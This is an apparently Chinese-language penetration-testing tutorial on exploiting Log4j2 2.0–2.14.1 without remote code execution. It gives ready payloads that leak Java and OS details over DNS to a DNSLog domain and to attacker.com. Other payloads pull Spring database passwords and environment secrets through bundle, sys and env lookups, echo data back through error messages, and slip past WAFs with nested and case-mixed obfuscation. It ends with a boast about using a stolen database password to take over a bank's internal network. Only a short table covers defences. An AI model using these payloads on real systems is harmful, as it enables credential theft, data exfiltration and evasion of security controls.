Log4j2 2.0-2.14.1 非RCE利用实战:3种信息泄露与2种不出网回显手法复现
当RCE(远程代码执行)被安全防护措施阻断时,安全研究人员如何继续挖掘Log4j2的潜在风险?本文将深入探讨五种在受限环境下的实用攻击手法,涵盖信息泄露与不出网回显两大方向。
1. 环境准备与基础概念
在开始之前,我们需要明确几个关键点:
- 测试环境:Java 8 + Log4j2 2.14.1
- 安全限制:假设目标系统已部署RASP或SecurityManager,阻止了传统的JNDI注入攻击
- 核心原理:Log4j2的递归解析机制和Lookup功能
// 基础测试代码 public class Log4j2Test { private static final Logger logger = LogManager.getLogger(Log4j2Test.class); public static void main(String[] args) { logger.error("${java:version}"); } }2. 信息泄露手法实战
2.1 嵌套标签泄露系统信息
利用Log4j2的递归解析特性,通过DNS协议外带数据:
# 使用DNSLog平台接收数据 payload="${jndi:dns://${java:version}.example.dnslog.cn}"关键点:
- 内层
${java:version}先被解析 - 解析结果作为DNS子域名外带
- 适用于获取Java环境信息、系统属性等
| 可用标签 | 泄露信息类型 | 示例输出 |
|---|---|---|
${java:version} | Java版本 | "1.8.0_301" |
${java:runtime} | JVM信息 | "Java(TM) SE Runtime Environment" |
${java:os} | 操作系统 | "Windows 10 10.0" |
2.2 Sys/Env Lookup收集敏感配置
System和Environment Lookup可以直接读取JVM和系统环境变量:
logger.error("${sys:user.dir}"); // 获取工作目录 logger.error("${env:JAVA_HOME}"); // 获取Java安装路径典型敏感信息:
- 数据库连接字符串
- API密钥
- 服务器内部IP
- 配置文件路径
注意:不同系统环境变量差异较大,建议先使用
${env:}枚举所有变量
2.3 Bundle Lookup读取Spring配置
针对Spring Boot应用的进阶利用:
# 获取数据库密码 ${bundle:application:spring.datasource.password} # 获取Redis配置 ${bundle:application:spring.redis.host}依赖条件:
- 项目使用Spring Boot + Log4j2组合
- 存在
application.properties或application.yml资源文件 - 配置了国际化资源文件(非必须但增加成功率)
3. 不出网环境下的回显技术
3.1 DNS协议信息外带
当HTTP/LDAP被阻断时,使用纯DNS协议外带数据:
logger.error("${jndi:dns://attacker.com/${java:version}}");服务端监听:
# 使用nc监听UDP 53端口 nc -luvp 53优势:
- 通常不受出网协议限制
- 流量较小不易被检测
- 可绕过部分WAF规则
3.2 报错回显技术
通过强制触发异常实现数据回显:
<!-- log4j2.xml关键配置 --> <Configuration> <Appenders> <Console name="CONSOLE" ignoreExceptions="false"> <PatternLayout pattern="%m%n"/> </Console> </Appenders> </Configuration>利用Payload:
// 触发NumberFormatException回显Java版本 logger.error("${jndi:ldap://127.0.0.1:${java:version}/test}");实现原理:
ignoreExceptions="false"允许异常传播- 端口号强制转换为int时抛出异常
- 异常信息中包含原始字符串
4. 防御规避与检测对抗
4.1 现代WAF绕过技巧
// 大小写混淆 logger.error("${jNdI:dNs://example.com}"); // 环境变量默认值 logger.error("${${env:TEST:-j}ndi:${env:TEST:-l}dap://example.com}"); // 嵌套表达式 logger.error("${${lower:j}${upper:n}di:ldap://example.com}");4.2 防护方案对比
| 防护措施 | 防护效果 | 对业务影响 |
|---|---|---|
| 升级到2.17.0+ | 完全防护 | 需测试兼容性 |
-Dlog4j2.formatMsgNoLookups=true | 基础防护 | 几乎无影响 |
| 限制出网流量 | 部分防护 | 可能影响正常业务 |
| RASP防护 | 动态防护 | 性能损耗5-10% |
5. 实战案例与决策流程
典型攻击场景:
- 发现Log4j2漏洞但RCE被阻断
- 尝试
${java:version}确认漏洞存在 - 根据环境选择信息泄露或回显手法
- 逐步获取更多系统信息
- 寻找其他突破口
graph TD A[发现Log4j2漏洞] --> B{能否RCE?} B -->|是| C[直接获取权限] B -->|否| D[尝试信息泄露] D --> E{目标出网?} E -->|是| F[DNS外带数据] E -->|否| G[配置报错回显] G --> H[获取关键配置] H --> I[寻找其他漏洞]在实际渗透测试中,这些技术往往需要组合使用。曾在一个银行系统的测试中,通过${bundle:}获取到数据库密码后,结合SQL注入最终拿下了整个内网权限。